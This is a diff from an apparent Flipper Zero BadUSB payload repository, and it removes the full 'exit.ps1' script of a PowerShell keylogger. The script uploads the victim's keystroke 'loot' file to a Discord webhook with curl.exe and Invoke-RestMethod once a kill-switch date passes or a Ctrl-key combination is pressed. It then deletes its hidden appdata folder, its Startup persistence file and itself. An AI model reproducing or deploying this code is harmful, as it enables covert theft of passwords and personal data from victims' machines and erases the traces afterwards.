STRLCPY/Jakoby_FlipperZero-BadUSB

Total 1 files

■ ■ ■ ■ ■ ■

Payloads/Flip-Keylogger/exit.ps1

1	-	Add-Type -AssemblyName WindowsBase
2	-	Add-Type -AssemblyName PresentationCore,PresentationFramework
3	-
4	-	$Path="$env:appdata\-locker\$env:UserName-loot.txt"
5	-
6	-	$dc = (Get-Content "$env:appdata\-locker\wh.txt" -TotalCount 1)
7	-
8	-	function Upload-Discord {
9	-
10	-	[CmdletBinding()]
11	-	param (
12	-	[parameter(Position=0,Mandatory=$False)]
13	-	[string]$file,
14	-	[parameter(Position=1,Mandatory=$False)]
15	-	[string]$text
16	-	)
17	-
18	-
19	-	$Body = @{
20	-	'username' = $env:username
21	-	'content' = $text
22	-	}
23	-
24	-	if (-not ([string]::IsNullOrEmpty($text))){
25	-	Invoke-RestMethod -ContentType 'Application/Json' -Uri $dc -Method Post -Body ($Body \| ConvertTo-Json)};
26	-
27	-	if (-not ([string]::IsNullOrEmpty($file))){curl.exe -F "file1=@$file" $dc}
28	-	}
29	-
30	-	while($true){
31	-	$Lctrl = [Windows.Input.Keyboard]::IsKeyDown([System.Windows.Input.Key]::'LeftCtrl')
32	-	$Rctrl = [Windows.Input.Keyboard]::IsKeyDown([System.Windows.Input.Key]::'RightCtrl')
33	-	if((Get-Content "$env:appdata\-locker\killswitch.txt") -ne $null -and ((get-date) -gt (Get-content "$env:appdata\-locker\killswitch.txt")) -or ($Rctrl -and $Lctrl)){
34	-	Upload-Discord -file $Path
35	-	sleep 5
36	-	Remove-Item "$env:appdata\-locker" -Recurse -Force;
37	-	Remove-Item "$env:userprofile\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\-p.cmd"
38	-	$done = New-Object -ComObject Wscript.Shell;$done.Popup("Keylogger Disabled",3)
39	-	Remove-Item "$env:appdata\-exit.ps1"
40	-	exit
41	-	}
42	-	else{continue}
43	-	}
44	-